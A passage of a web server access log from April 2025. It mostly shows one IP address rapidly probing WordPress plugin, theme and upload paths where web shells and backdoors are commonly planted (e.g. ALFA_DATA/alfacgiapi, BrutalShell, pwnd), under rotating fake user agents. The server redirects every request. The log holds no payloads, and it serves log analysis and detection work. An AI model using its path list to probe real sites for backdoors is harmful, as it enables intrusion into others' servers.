Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:29 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:30 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:31 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:32 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:33 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:34 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:35 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:36 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:37 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:38 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 132.232.165.4 - - [27/Apr/2025:19:59:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.224.233.21 - - [27/Apr/2025:20:25:56 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Triplechecker; Faraday" 54.224.233.21 - - [27/Apr/2025:20:25:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Triplechecker; Faraday" 3.110.33.142 - - [27/Apr/2025:20:27:48 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.18.177.61 - - [27/Apr/2025:20:32:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 43.159.152.4 - - [27/Apr/2025:20:43:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.37.22 - - [27/Apr/2025:20:45:02 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:06 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 